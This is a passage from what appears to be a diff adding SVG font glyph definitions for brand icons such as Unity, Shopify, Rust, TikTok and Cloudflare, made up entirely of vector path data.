186.4 167.1z" /> + <glyph glyph-name="unity" unicode="" horiz-adv-x="576" +d="M498.11 241.6l-30 -49.5996l30 -49.6299l-52.8008 -191.62l-197.079 51.3604l-29.2402 50l-59.1699 -0.430664l-144.28 140.32l144.26 140.29l59.2002 -0.429688l29.2002 50.0596l197.109 51.3604zM223.77 323.8l-108.899 -108.13h173.13l86.5498 145.82zM223.77 60.1699 +l150.78 -37.6895l-86.5498 145.81h-173.13zM416.77 46.1699l41.79 145.83l-41.8096 145.84l-86.5801 -145.84z" /> + <glyph glyph-name="dailymotion" unicode="" +d="M298.93 181c7.14062 -4 12.9844 -9.85254 16.9727 -17c3.86426 -6.83691 6.10059 -14.7783 6.10059 -23.1865c0 -0.0947266 0 -0.188477 -0.000976562 -0.283203c-0.0332031 -13.6602 -4.58691 -25.084 -13.6602 -34.2705s-20.4434 -13.7793 -34.1104 -13.7793 +c-13.4336 0 -24.5771 4.47949 -33.4307 13.4395s-13.2803 20.4932 -13.2803 34.5996c0 13.4336 4.53711 24.5742 13.6104 33.4209s20.2197 13.2695 33.4395 13.2695c0.214844 0.00292969 0.469727 -0.0263672 0.685547 -0.0263672 +c8.59668 0 16.6738 -2.24609 23.6738 -6.18359zM0.00195312 416h448v-448h-448v448zM374.712 42.7402l-0.0302734 264.349l-55.79 -12.0898v-77.9199c-7.81348 7.86035 -16.1465 13.5273 -25 17.001c-8.87695 3.35352 -18.5127 5.21875 -28.5576 5.21875 +c-0.394531 0 -0.789062 -0.00292969 -1.18164 -0.00878906c-17.6934 -0.00683594 -33.6006 -4.37305 -47.7207 -13.0996c-14.0625 -8.68066 -25.4102 -20.9805 -32.9297 -35.7803c-7.83984 -15.1064 -11.7598 -31.8467 -11.7598 -50.2197 +c-0.00683594 -18.8066 3.85645 -35.7705 11.5898 -50.8906c7.45215 -14.8447 18.8232 -27.1611 32.9395 -35.7695c14.2197 -8.7334 30.5166 -13.1006 48.8906 -13.1006c26.6602 0 45.2539 8.7334 55.7803 26.2002h0.669922v-23.8896h53.0996z" /> + <glyph glyph-name="instagram-square" unicode="" +d="M224 245.34c29.4385 -0.0107422 53.3379 -23.9043 53.3604 -53.3398c0 -29.4395 -23.9004 -53.3398 -53.3398 -53.3398s-53.3398 23.9004 -53.3398 53.3398c0 29.4326 23.8896 53.3291 53.3193 53.3398zM348.71 286.34 +c8.34961 -21.0703 6.46973 -71.0596 6.46973 -94.3398s1.91992 -73.3301 -6.42969 -94.3301c-5.4834 -13.8955 -16.5146 -24.9268 -30.4102 -30.4102c-21.0596 -8.35938 -70.9902 -6.42969 -94.2998 -6.42969s-73.3096 -1.86035 -94.3096 6.42969 +c-13.8955 5.4834 -24.9277 16.5146 -30.4102 30.4102c-8.32031 21.0703 -6.4707 71.0605 -6.4707 94.3398c0 23.2803 -1.84961 73.3301 6.43066 94.3301c5.48242 13.8955 16.5146 24.9268 30.4102 30.4102c21.0596 8.36035 71.0098 6.42969 94.3096 6.42969 +s73.2998 1.86035 94.2998 -6.42969c13.8955 -5.4834 24.9268 -16.5146 30.4102 -30.4102zM224 110c0.0341797 0 0.0664062 -0.00195312 0.0996094 -0.00195312c45.2021 0 81.9004 36.6982 81.9004 81.9004v0.101562c0 45.2568 -36.7432 82 -82 82s-82 -36.7432 -82 -82 +s36.7432 -82 82 -82zM309.38 258.3c10.5371 0.00585938 19.1299 8.52051 19.1299 19.0586v0.0820312c0 10.5635 -8.57617 19.1396 -19.1396 19.1396c-10.5645 0 -19.1406 -8.57617 -19.1406 -19.1396c0 -10.5645 8.57617 -19.1406 19.1406 -19.1406h0.00976562zM400 416 +c26.4922 0 48 -21.5078 48 -48v-352c0 -26.4922 -21.5078 -48 -48 -48h-352c-26.4922 0 -48 21.5078 -48 48v352c0 26.4922 21.5078 48 48 48h352zM382.88 126c1.49023 26.4404 1.49023 105.56 0 131.88c-1.21973 25.6299 -7.17969 48.3506 -25.8496 67.0498 +c-18.6699 18.7002 -41.3701 24.5605 -67 25.8506c-26.4102 1.48926 -105.59 1.48926 -132 0c-25.5303 -1.2207 -48.2207 -7.12012 -67 -25.7803c-18.7803 -18.6602 -24.5605 -41.3701 -25.8506 -67c-1.48926 -26.3896 -1.48926 -105.58 0 -132 +c1.2207 -25.5801 7.11035 -48.2998 25.8506 -67c18.7393 -18.7002 41.3701 -24.5596 67 -25.8496c26.4102 -1.49023 105.59 -1.49023 132 0c25.5996 1.21973 48.29 7.18945 67 25.8496s24.5596 41.3701 25.8496 67z" /> + <glyph glyph-name="mixer" unicode="" horiz-adv-x="512" +d="M114.57 371.93l128.319 -172.399c1.44531 -1.99805 2.29785 -4.47461 2.29785 -7.12598c0 -2.65234 -0.852539 -5.10645 -2.29785 -7.10449l-128.89 -173.24c-8.33594 -11.1826 -21.6582 -18.3877 -36.666 -18.3877c-11.877 0 -22.7031 4.54004 -30.834 11.9785 +c-17.8496 16.1797 -18.9697 43.5195 -4.74023 62.7695l92.3301 124.15l-91.7803 123c-14.25 19.25 -12.8291 46.5898 4.75 62.7695c8.13281 7.44141 18.9551 12.0264 30.8359 12.0264c15.0088 0 28.3389 -7.25 36.6748 -18.4365zM470.24 68.4199 +c14.2295 -19.25 13.1094 -46.5898 -4.73047 -62.7695c-8.13184 -7.44141 -18.9551 -12.0264 -30.835 -12.0264c-15.0098 0 -28.3389 7.25 -36.6748 18.4355l-128.57 173.5c-1.44434 1.99805 -2.29688 4.47461 -2.29688 7.12598c0 2.65234 0.852539 5.10645 2.29688 7.10449 +l128 172.12c8.33594 11.1855 21.6602 18.3926 36.6699 18.3926c11.8809 0 22.708 -4.54199 30.8408 -11.9824c17.5791 -16.1807 18.9697 -43.5205 4.75 -62.7705l-91.7803 -123z" /> + <glyph glyph-name="shopify" unicode="" +d="M388.32 343.9c0.399414 -2.40039 54.4395 -367.9 54.4395 -367.9l-125.689 -31.2002v432.73c8.00977 -8.01074 29.6201 -28.8301 29.6201 -28.8301s35.2295 -0.799805 37.2295 -0.799805c2.25 -0.103516 4.08887 -1.81055 4.40039 -4zM288.65 377.53 +c9.20996 2.7998 13.3604 4.18945 14.8096 4.39941c1.4502 0.209961 2.90625 0.34375 4.40039 0.400391v-438.33l-302.58 52.4805s36.7998 281.819 38 291.819c1.58984 13.2002 2 13.6006 16 18c0.399414 0.400391 19.6094 6.41016 47.2295 14.8105 +c2.82031 21.2197 13.21 48.4395 26.8203 70.0596c19.25 30.8301 43.25 48.0303 67.25 48.8301c12.4199 0.370117 22.8203 -3.62988 30.8203 -12.4004c0.399414 -0.799805 1.19922 -1.19922 1.59961 -2c1.11914 0.267578 2.27051 0.40918 3.4707 0.40918 +c0.176758 0 0.353516 -0.00292969 0.529297 -0.00878906c18.4199 0 34 -10.8496 44.4404 -30.8604c2.84082 -5.58887 5.28809 -11.5479 7.20996 -17.6094zM233.41 360.31c0.399414 13.21 -1.2002 32.8301 -8.00977 47.2002 +c-6.80078 -3.2002 -12.8105 -8.41016 -17.21 -12.8096c-11.21 -12.3701 -20.8203 -31.1807 -25.6201 -50c17.21 5.20996 34.8398 10.8096 50.8398 15.6094zM200.58 423.56c-36.8301 -0.799805 -69.25 -58.8398 -78.0098 -97.2295c13.1699 4 27.5801 8.40039 42 12.8096 +c4.7998 24.4502 16.4102 50.0303 31.6201 66.4502c6 6 12.4092 11.21 18.8096 14.4102c-3.99414 2.26367 -8.625 3.57422 -13.54 3.57422c-0.293945 0 -0.587891 -0.00488281 -0.879883 -0.0146484zM154.15 203.39c-0.400391 4.81055 0 23.6104 29.6191 25.6201 +c20.4209 1.60059 37.6309 -6.39941 37.6309 -6.39941l15.21 57.5996s-13.2305 6.41016 -39.2305 4.80957c-67.25 -4.40918 -97.6699 -51.2393 -94.4697 -97.6797c3.59961 -55.2402 58.8398 -53.2402 60.8398 -86.8594 +c0.410156 -8.01074 -4.80957 -19.6201 -18.8096 -20.4209c-21.6201 -1.59961 -48.4404 18.8203 -48.4404 18.8203l-10.4004 -44s26.8203 -28.8203 75.6504 -25.6201c40.4297 2.41016 68.4502 34.8301 65.6504 82.4707c-4 60.4395 -71.6504 66.0498 -73.25 91.6592z +M249.42 365.12c8.80664 2.7998 16.8135 5.2002 24.0205 7.2002c-4.01074 12.4297 -12.8105 32.8301 -31.2305 36.4297c5.61035 -14.4102 7.20996 -31.6299 7.20996 -43.6299z" /> + <glyph glyph-name="deezer" unicode="" horiz-adv-x="576" +d="M451.46 203.29v72.71h124.54v-72.71h-124.54zM451.46 377.18h124.54v-72.6699h-124.54v72.6699zM451.46 102.12v72.6797h124.54v-72.6797h-124.54zM0 0.910156v72.6699h124.54v-72.6699h-124.54zM150.47 0.910156v72.6699h124.53v-72.6699h-124.53zM300.99 0.910156 +l0.00976562 72.6699h124.53v-72.6699h-124.54zM451.46 0.910156v72.6699h124.54v-72.6699h-124.54zM301 102.12v72.6797h124.53v-72.6797h-124.53zM150.48 102.12l-0.0107422 72.6797h124.53v-72.6797h-124.52zM150.48 203.29l-0.0107422 72.71h124.53v-72.71h-124.52z" /> + <glyph glyph-name="edge-legacy" unicode="" horiz-adv-x="512" +d="M25.71 219.84l0.349609 0.480469c0 -0.160156 0 -0.320312 -0.0693359 -0.480469h-0.280273zM486.29 204.33v-52.0703h-314.08c1.38965 -128.49 191.39 -124.06 272.26 -67.5693v-104.431c-47.3594 -28.5293 -156.779 -53.1699 -240.13 -21.3301 +c-70.6201 27.1602 -119.92 100.551 -120.75 172c-1.09961 92.2207 45.7002 153.42 120.75 188.32c-15.79 -19.9297 -27.9697 -41.54 -34.3398 -78.9297h175.85c10.25 105 -99.4199 105 -99.4199 105c-103.3 -3.62012 -177.949 -63.6904 -220.37 -125 +c14.5605 114.47 92.9404 219.96 232.83 219.68c85.0205 0 157.61 -39.8799 198.591 -113.27c21.0498 -37.9404 28.8096 -78.4004 28.8096 -122.4z" /> + <glyph glyph-name="google-pay" unicode="" horiz-adv-x="640" +d="M105.72 233h99.6602c1.1543 -7.06152 1.75 -14.1768 1.75 -21.5635v-0.216797c0 -32.7598 -11.4102 -60.2998 -31.4102 -78.9102c-17.4502 -16.3799 -41.5293 -25.9092 -70 -25.9092c-41.4531 0.103516 -77.2598 24.0869 -94.3799 59v0.149414 +c-7.21582 14.4512 -11.2773 30.957 -11.2773 48.1943c0 17.2383 4.06152 33.5352 11.2773 47.9863c17.1172 34.9355 52.9199 58.9502 94.3799 59.1094c0.344727 0.00390625 0.699219 0.00585938 1.04492 0.00585938c27 0 51.5469 -10.5928 69.7051 -27.8457 +l-30.2793 -30.6201c-10.1777 9.95508 -24.0938 16.0898 -39.4404 16.0898c-0.357422 0 -0.713867 -0.00292969 -1.07031 -0.00976562c-27.5996 0 -50.9297 -18.9102 -59.2998 -44.3701v0c-2.12109 -6.44824 -3.26855 -13.3545 -3.26855 -20.5088 +s1.14746 -14.043 3.26855 -20.4912c8.37012 -25.3096 31.7002 -44.2197 59.2998 -44.2197c14.2803 0 26.46 3.72949 36 10.2803c10.9629 7.39648 18.7705 19.0664 21.1406 32.5996h-57.1006v41.25zM495.13 237c10.1299 -9.33984 15.1201 -22.4502 15.0498 -39v-78.7002 +h-22.6094v17.7197h-1c-9.79004 -14.5898 -22.71 -21.8896 -39 -21.8896c-13.79 0 -25.54 4.16992 -34.79 12.5098c-8.55078 7.29199 -13.9541 18.1143 -13.9541 30.2207c0 0.350586 0.00488281 0.701172 0.0136719 1.0498c0 13.25 4.98047 23.6699 14.8203 31.5596 +c9.83984 7.89062 23.0498 11.7705 39.4902 11.7705c14.0898 0 25.54 -2.68066 34.6396 -7.75v5.50977c-0.00488281 8.47461 -3.75098 16.0723 -9.69043 21.2305c-6.02051 5.44141 -14.0078 8.76855 -22.75 8.78906c-13.2061 0 -23.626 -5.66699 -31.2598 -17 +l-20.8496 13.2607c11.1602 16.5195 28.04 24.8594 50.5 24.8594c17.46 0 31.2598 -4.75977 41.3896 -14.1396zM475.9 147.7c7.7793 7.4502 11.7393 16.2295 11.7393 26.3594c-7.33984 5.94043 -17.6396 8.94043 -30.7998 8.78027c-9.54004 0 -17.75 -2.38965 -24.0703 -7 +c-6.31934 -4.60938 -9.53906 -10.4199 -9.53906 -17.4199c-0.000976562 -0.0332031 -0.0166016 -0.0546875 -0.0166016 -0.0878906c0 -6.35449 3.05957 -12 7.78613 -15.542c4.8916 -3.90625 11.1035 -6.25391 17.8447 -6.25391 +c0.162109 0 0.324219 0.000976562 0.485352 0.00390625c10.3965 0.0126953 19.8076 4.2793 26.5703 11.1602zM382.25 289.7c10.4268 -9.92188 16.9102 -23.9102 16.9102 -39.4248c0 -14.166 -5.4209 -27.0752 -14.2998 -36.7656 +c-0.890625 -0.889648 -1.77051 -1.79004 -2.65039 -2.67969c-11.0098 -10.5703 -24.5098 -15.9297 -40.5098 -15.9297h-39v-75.6406h-23.6299v186.74h62.6699c0.379883 0.0078125 0.749023 0.0185547 1.13086 0.0185547c15.3701 0 29.2949 -6.23828 39.3789 -16.3184z +M365.67 227.47c5.5957 5.94141 9.03223 13.9971 9.03223 22.7939c0 9.18164 -3.7373 17.4961 -9.77246 23.5059c-5.78027 5.70801 -13.7236 9.23047 -22.4814 9.23047h-0.118164h-39.6299v-65.21h39.6299c0.328125 -0.0107422 0.640625 -0.0253906 0.970703 -0.0253906 +c8.82031 0 16.7754 3.7334 22.3691 9.70508zM614.31 247h25.6904l-79 -183.87h-24.3496l29.3496 64.3203l-51.79 119.55h25.6904l37.4199 -91.7002h0.449219z" /> + <glyph glyph-name="rust" unicode="" horiz-adv-x="512" +d="M508.52 198.25c2.09375 -1.2959 3.44043 -3.60449 3.44043 -6.24512c0 -2.6416 -1.39648 -4.95898 -3.49023 -6.25488l-21.8193 -13.5098c-0.169922 -1.95996 -0.34082 -3.91992 -0.550781 -5.87012l18.7207 -17.5c1.43457 -1.3418 2.33203 -3.24805 2.33203 -5.36523 +c0 -3.15039 -1.98535 -5.83984 -4.77246 -6.88477l-24 -9c-0.540039 -1.88965 -1.08008 -3.78027 -1.66992 -5.65039l15 -20.8301c0.865234 -1.20508 1.37207 -2.68945 1.37207 -4.28516c0 -3.65234 -2.66992 -6.68555 -6.16211 -7.25488l-25.4199 -4.14941 +c-0.900391 -1.71973 -1.79004 -3.4502 -2.73047 -5.15039l10.6807 -23.4199c0.420898 -0.925781 0.655273 -1.96875 0.655273 -3.05176c0 -1.50781 -0.455078 -2.91113 -1.23535 -4.07812c-1.29199 -1.97168 -3.51172 -3.26758 -6.04297 -3.26758 +c-0.109375 0 -0.21875 0.00292969 -0.327148 0.0078125l-25.8203 0.910156c-1.18652 -1.4873 -2.38965 -2.9541 -3.60938 -4.40039l5.92969 -25.1602c0.125977 -0.538086 0.196289 -1.0957 0.196289 -1.67188c0 -4.0625 -3.29785 -7.36035 -7.35938 -7.36035 +c-0.577148 0 -1.13867 0.0664062 -1.67676 0.192383l-25.1504 5.92969c-1.45312 -1.21289 -2.91992 -2.41602 -4.39941 -3.60938l0.90918 -25.8203c0.00390625 -0.0878906 -0.000976562 -0.167969 -0.000976562 -0.256836c0 -4.05664 -3.29395 -7.34961 -7.34961 -7.34961 +c-1.08398 0 -2.1123 0.235352 -3.03906 0.65625l-23.4199 10.6807c-1.7002 -0.94043 -3.42969 -1.83008 -5.15039 -2.73047l-4.14941 -25.4199c-0.56543 -3.49121 -3.60254 -6.16309 -7.25293 -6.16309c-1.59961 0 -3.08105 0.512695 -4.28711 1.38281l-20.8203 15 +c-1.87012 -0.599609 -3.75977 -1.12988 -5.64941 -1.67969l-9 -24c-1.05078 -2.7832 -3.7373 -4.7627 -6.88574 -4.7627c-2.11426 0 -4.02148 0.892578 -5.36426 2.32227l-17.5 18.7305c-1.9502 -0.219727 -3.88086 -0.390625 -5.88086 -0.560547l-13.5098 -21.8193 +c-1.2959 -2.09375 -3.60352 -3.49023 -6.24512 -3.49023s-4.95898 1.39648 -6.25488 3.49023l-13.5098 21.8193c-1.95996 0.169922 -3.92969 0.34082 -5.87988 0.550781l-17.5 -18.7207c-1.34277 -1.42969 -3.24707 -2.32422 -5.36133 -2.32422 +c-3.14844 0 -5.83789 1.98145 -6.88867 4.76465l-9 24c-1.88965 0.549805 -3.79004 1.08008 -5.65039 1.67969l-20.8301 -15c-1.20605 -0.870117 -2.69434 -1.37988 -4.29395 -1.37988c-3.64941 0 -6.68066 2.66895 -7.24609 6.16016l-4.14941 25.4199 +c-1.71973 0.900391 -3.4502 1.79004 -5.14062 2.73047l-23.4297 -10.6807c-0.925781 -0.420898 -1.96094 -0.664062 -3.04492 -0.664062c-4.05664 0 -7.34961 3.29297 -7.34961 7.34961c0 0.0888672 0.00195312 0.176758 0.00488281 0.264648l0.919922 25.8203 +c-1.4873 1.18652 -2.95703 2.38965 -4.41016 3.60938l-25.1602 -5.92969c-0.538086 -0.125977 -1.0957 -0.196289 -1.67188 -0.196289c-4.0625 0 -7.36035 3.29785 -7.36035 7.35938c0 0.577148 0.0664062 1.13867 0.192383 1.67676l5.92969 25.1602 +c-1.21973 1.45312 -2.41992 2.91992 -3.59961 4.40039l-25.8301 -0.910156c-0.125977 -0.00683594 -0.243164 -0.0175781 -0.371094 -0.0175781c-2.5166 0 -4.72949 1.30664 -5.99902 3.27734c-0.776367 1.16504 -1.23047 2.57812 -1.23047 4.08301 +c0 1.08691 0.236328 2.11816 0.660156 3.04688l10.6309 23.4297c-0.94043 1.69043 -1.83008 3.4209 -2.73047 5.14062l-25.4199 4.14941c-3.49219 0.569336 -6.16504 3.60938 -6.16504 7.26172c0 1.5957 0.509766 3.07324 1.375 4.27832l15 20.8301 +c-0.599609 1.87012 -1.12988 3.76074 -1.67969 5.65039l-24 9c-2.78711 1.04492 -4.77148 3.73145 -4.77148 6.88184c0 2.11719 0.896484 4.02637 2.33105 5.36816l18.7197 17.5c-0.209961 1.9502 -0.379883 3.87012 -0.549805 5.87012l-21.8193 13.5098 +c-2.09473 1.2959 -3.49023 3.60449 -3.49023 6.24512c0 2.6416 1.39551 4.95898 3.49023 6.25488l21.8594 13.5c0.169922 1.96973 0.339844 3.92969 0.549805 5.87988l-18.7197 17.5c-1.43457 1.3418 -2.33203 3.24805 -2.33203 5.36523 +c0 3.15039 1.98535 5.83984 4.77246 6.88477l24 9c0.549805 1.88965 1.08984 3.79004 1.67969 5.66016l-15 20.8203c-0.865234 1.20508 -1.37207 2.68945 -1.37207 4.28516c0 3.65234 2.66992 6.68555 6.16211 7.25488l25.4102 4.13965 +c0.899414 1.72949 1.79004 3.45996 2.72949 5.16016l-10.6602 23.4102c-0.423828 0.927734 -0.65918 1.97363 -0.65918 3.06055c0 1.50391 0.453125 2.90332 1.22949 4.06934c1.33398 1.97266 3.58398 3.26367 6.14258 3.26367 +c0.0761719 0 0.152344 -0.00195312 0.227539 -0.00390625l25.8096 -0.910156c1.19043 1.48047 2.39062 2.95996 3.62012 4.41016l-5.92969 25.1602c-0.125977 0.538086 -0.196289 1.0957 -0.196289 1.67188c0 4.0625 3.29785 7.36035 7.35938 7.36035 +c0.577148 0 1.13867 -0.0664062 1.67676 -0.192383l25.1504 -5.96973c1.41992 1.21973 2.92969 2.41992 4.41992 3.60938l-0.919922 25.8105c-0.00488281 0.104492 -0.000976562 0.201172 -0.000976562 0.307617c0 4.05566 3.29395 7.34961 7.35059 7.34961 +c1.08398 0 2.11328 -0.235352 3.04004 -0.657227l23.4004 -10.6299c1.70996 0.939453 3.42969 1.83008 5.16016 2.72949l4.14941 25.4102c0.569336 3.49219 3.60938 6.16504 7.26172 6.16504c1.5957 0 3.07324 -0.509766 4.27832 -1.375l20.8203 -15 +c1.87012 0.599609 3.76953 1.12988 5.66016 1.67969l9 24c1.04492 2.78711 3.73145 4.77148 6.88184 4.77148c2.11719 0 4.02637 -0.896484 5.36816 -2.33105l17.5 -18.7197c1.94922 0.209961 3.87988 0.379883 5.87988 0.549805l13.5098 21.8193 +c1.2959 2.09473 3.60449 3.49023 6.24512 3.49023c2.6416 0 4.95898 -1.39551 6.25488 -3.49023l13.4805 -21.8398c1.96973 -0.169922 3.92969 -0.339844 5.87988 -0.549805l17.5 18.7197c1.3418 1.43457 3.24805 2.33301 5.36523 2.33301 +c3.14941 0 5.83984 -1.98535 6.88477 -4.77246l9 -24c1.88965 -0.540039 3.7793 -1.08008 5.63965 -1.66992l20.8604 14.9697c1.20508 0.865234 2.68945 1.37207 4.28516 1.37207c3.65234 0 6.68555 -2.66992 7.25488 -6.16211l4.14941 -25.4199 +c1.71973 -0.889648 3.4502 -1.79004 5.15039 -2.73047l23.4199 10.7305c0.926758 0.421875 1.96289 0.666016 3.04688 0.666016c4.05664 0 7.34961 -3.29395 7.34961 -7.35059c0 -0.105469 -0.00195312 -0.210938 -0.00683594 -0.31543l-0.910156 -25.8203 +c1.4873 -1.18652 2.9541 -2.38965 4.40039 -3.60938l25.1602 5.92969c0.538086 0.125977 1.0957 0.196289 1.67188 0.196289c4.0625 0 7.36035 -3.29785 7.36035 -7.35938c0 -0.577148 -0.0664062 -1.13867 -0.192383 -1.67676l-5.87988 -25.1602 +c1.21387 -1.45312 2.41699 -2.91992 3.61035 -4.40039l25.8193 0.910156c0.0878906 0.00292969 0.167969 -0.000976562 0.256836 -0.000976562c4.05664 0 7.34961 -3.29395 7.34961 -7.35059c0 -1.08301 -0.234375 -2.1123 -0.65625 -3.03809l-10.6797 -23.4199 +c0.939453 -1.7002 1.83008 -3.41992 2.72949 -5.15039l25.4199 -4.14941c3.49219 -0.569336 6.16504 -3.60938 6.16504 -7.26172c0 -1.5957 -0.509766 -3.07324 -1.375 -4.27832l-15 -20.8301c0.589844 -1.86035 1.12988 -3.76074 1.66992 -5.64062l24 -9 +c2.78711 -1.04492 4.77148 -3.73145 4.77148 -6.88184c0 -2.11719 -0.896484 -4.02637 -2.33105 -5.36816l-18.7197 -17.5c0.209961 -1.94922 0.379883 -3.87988 0.549805 -5.87988zM357.52 69.1699l32.1406 -6.87988c6.28125 6.3125 12.0029 12.9395 17.3398 20.0898 +h-79.0498c-12.5 0 -24.21 17.6396 -27.1006 26.46c-2.88965 7.86035 -7.14941 32.4502 -9.05957 40c-6.12988 24.5898 -25.3799 25.8701 -29.79 25.8701h-48.4805l-0.0498047 -34.3496h44.8301c1.71973 0 2.89062 -0.34082 2.89062 -1.91016v-54.1904 +c0 -1.62012 -1.1709 -1.91016 -2.89062 -1.91016h-153.17c5.01953 -6.80957 10.3848 -13.1465 16.2598 -19.21l31.5107 6.76074c0.935547 0.199219 1.89746 0.294922 2.89258 0.294922c6.66211 0 12.2344 -4.70801 13.5674 -10.9756l7.63965 -35.6602 +c23.9688 -11.1318 50.9941 -17.3506 79.1416 -17.3506c27.5205 0 53.665 5.94141 77.2188 16.6113l7.63965 35.6699c1.34668 6.27246 6.91797 10.9893 13.5908 10.9893c1.00488 0 1.98438 -0.106445 2.92871 -0.30957zM383.29 34.6797 +c0 0.00585938 -0.0576172 0.0107422 -0.0576172 0.0166016c0 8.25977 -6.58887 14.9922 -14.792 15.2236h-0.44043c-8.3877 -0.0273438 -15.1904 -6.8457 -15.1904 -15.2402c0 -8.41113 6.8291 -15.2393 15.2402 -15.2393s15.2402 6.82812 15.2402 15.2393zM157.67 35.3604 +c0 0.00195312 -0.0576172 0.00488281 -0.0576172 0.0078125c0 8.24707 -6.56055 14.9736 -14.7422 15.2422h-0.450195c-8.40625 -0.00585938 -15.2295 -6.83203 -15.2295 -15.2402c0 -8.41113 6.82812 -15.2402 15.2393 -15.2402c8.4082 0 15.2344 6.82324 15.2402 15.2305z +M69.5703 213.85c-0.725586 -6.69922 -1.0625 -13.2754 -1.0625 -20.167c0 -17.8242 2.49023 -35.0713 7.14258 -51.4131h53.5996v119.73h-26.5596l6.76953 -15.2197c0.765625 -1.7207 1.20801 -3.62988 1.20801 -5.63281c0 -5.66406 -3.39941 -10.54 -8.26758 -12.6973z +M58.3096 249.91c0.00292969 -8.4082 6.84375 -15.2236 15.2529 -15.2236c8.41113 0 15.2402 6.82812 15.2402 15.2393c0 8.26562 -6.59375 15.0029 -14.8027 15.2344h-0.459961c-8.40625 -0.00585938 -15.2305 -6.83203 -15.2305 -15.2402v-0.00976562zM213.47 225.42 +h58.7002c12.4902 0 27.6797 4.41016 27.6797 16.7002c0 14.8496 -19.79 18.6201 -23.0693 18.6201h-63.2607zM399 141.29c10.3096 1.12988 22 5.70996 22.0195 26.46v8.82031c0 1.85938 0.780273 3.12988 2.69043 3.12988h19.2803 +c0.349609 4.6709 0.529297 9.02832 0.529297 13.7891c0 6.32812 -0.314453 12.583 -0.929688 18.751l-34.5898 15.3301c-4.86621 2.19434 -8.23828 7.0918 -8.23828 12.7725c0 1.97363 0.410156 3.85352 1.14844 5.55762l18 40.5693 +c-26.8047 47.0127 -73.3965 81.1328 -128.37 91.4307l-26.2598 -25c-2.48535 -2.39062 -5.86523 -3.86523 -9.58203 -3.86523c-3.94141 0 -7.5 1.6543 -10.0186 4.30469l-23.4697 24.6006c-41.29 -7.80371 -77.9434 -29.083 -104.89 -59.1904h198.899 +c4.99023 0 23.5107 -2.23047 40.2705 -13.2305c11.9102 -7.88965 29.3994 -23.96 29.3994 -49.4795c0 -23.6201 -19.5996 -41.3096 -38.46 -53.2598c15.1807 -12 24.79 -18.9102 30.5703 -51.4004c1.37012 -5.96973 12.2002 -11.2197 22 -10.0898zM240 387.79 +c0 -0.0078125 -0.00683594 -0.015625 -0.00683594 -0.0244141c0 -8.41113 6.82812 -15.2393 15.2402 -15.2393c8.41113 0 15.2393 6.82812 15.2393 15.2393c0 8.26855 -6.59863 15.0078 -14.8125 15.2344h-0.450195c-8.38672 -0.0166016 -15.1934 -6.82324 -15.21 -15.21z +M436.84 234c0.0742188 -0.000976562 0.141602 -0.00195312 0.21582 -0.00195312c8.41211 0 15.2422 6.83008 15.2422 15.2422c0 8.33691 -6.70898 15.1201 -15.0176 15.2402h-0.44043c-8.41113 0 -15.2402 -6.8291 -15.2402 -15.2402s6.8291 -15.2402 15.2402 -15.2402z" /> + <glyph glyph-name="tiktok" unicode="" +d="M448 238.09h-0.512695c-45.5098 0 -87.8428 14.6162 -122.257 39.25v-178.72c-0.0332031 -89.6855 -72.8574 -162.489 -162.551 -162.489c-89.7139 0 -162.55 72.8359 -162.55 162.55s72.8359 162.55 162.55 162.55c7.62891 0 14.9697 -0.521484 22.3203 -1.54004 +v-89.8906c-7.06836 2.22363 -14.5889 3.42285 -22.3877 3.42285c-41.1836 0 -74.6201 -33.4365 -74.6201 -74.6201c0 -41.1846 33.4365 -74.6201 74.6201 -74.6201c41.1846 0 74.6182 33.4541 74.6182 74.6377v349.38h88 +c-0.00292969 -0.337891 -0.00488281 -0.676758 -0.00488281 -1.01562c0 -7.25977 0.638672 -14.2441 1.86426 -21.1543v0c6.28613 -33.5771 26.1982 -62.3613 53.9102 -80.2197c19.1787 -12.6816 42.1592 -20.0674 66.8506 -20.0674 +c0.00878906 0 0.140625 -0.0732422 0.149414 -0.0732422v-87.3799z" /> + <glyph glyph-name="unsplash" unicode="" +d="M448 217.83v-249.83h-448v249.83h141.13v-124.92h165.74v124.92h141.13zM306.87 416v-124.91h-165.74v124.91h165.74z" /> + <glyph glyph-name="cloudflare" unicode="" horiz-adv-x="640" +d="M407.906 128.087c12.1836 -0.574219 22.2178 -5.50977 28.2334 -13.9023c6.54883 -9.09961 8 -21.5 4.10059 -34.8994l-3.27344 -11.2656c-0.681641 -2.28125 -2.7793 -3.95508 -5.27051 -4c-0.0419922 -0.000976562 -0.0791016 -0.0195312 -0.12207 -0.0195312 +l-426.101 0.0507812c-2.26172 0.00878906 -4.13379 1.69238 -4.44434 3.87109c-0.676758 4.58691 -1.02637 9.18457 -1.0293 13.958c0 52.3926 41.9238 95.0137 94.2002 96.5303c-1.37402 5.39062 -2.05469 10.9785 -2.05469 16.7939 +c0 37.5967 30.5234 68.1201 68.1201 68.1201c15.3838 0 29.583 -5.11035 40.9912 -13.7246c20.542 59.582 77.085 102.308 143.607 102.308c72.1562 0 132.629 -50.417 148.085 -117.914c0.107422 -0.513672 0.164062 -1.03906 0.164062 -1.58398v-0.046875 +c0 -0.0332031 -0.00292969 -0.0683594 -0.00292969 -0.101562c0 -0.998047 -0.18457 -1.9541 -0.521484 -2.83496l-13.2861 -34.542c-10.4756 -27.21 -40.3906 -49.5234 -68.0215 -50.7842l-232.94 -2.93555c-2.48145 -0.173828 -4.5625 -1.82227 -5.36035 -4.07617 +c-0.178711 -0.493164 -0.275391 -1.03223 -0.275391 -1.58691c0 -0.945312 0.283203 -1.8252 0.768555 -2.55957c0.8125 -1.14258 2.13379 -1.89355 3.63281 -1.92676zM513.856 226.9c69.668 0 126.144 -56.2002 126.147 -125.533 +c0 -0.0458984 -0.0175781 -0.0644531 -0.0175781 -0.110352c0 -11.7441 -1.62598 -23.1123 -4.66406 -33.8896c-0.571289 -1.94629 -2.37012 -3.37012 -4.5 -3.37012h-0.0390625h-175.91c-0.0478516 0 -0.0898438 0.0166016 -0.135742 0.0166016 +c-1.44727 0.0595703 -2.60449 1.25391 -2.60449 2.71484c0 0.339844 0.0634766 0.666016 0.176758 0.96582l3.69531 9.60547c10.4766 27.21 40.3916 49.5146 68.1455 50.7842l51.125 2.93945c2.47559 0.179688 4.55078 1.82617 5.35059 4.07422 +c0.177734 0.492188 0.274414 1.03027 0.274414 1.58301c0 0.957031 -0.291016 1.84766 -0.788086 2.58594c-0.785156 1.11035 -2.06152 1.84375 -3.51074 1.89453l-49.1992 2.93848c-12.1846 0.577148 -22.2188 5.5 -28.2383 13.9004 +c-6.54883 9.10352 -8 21.4902 -4.09961 34.8896l9.07617 31.1934c0.447266 1.45508 1.75391 2.53613 3.32422 2.65332c2.12012 0.101562 4.25 0.164062 6.3916 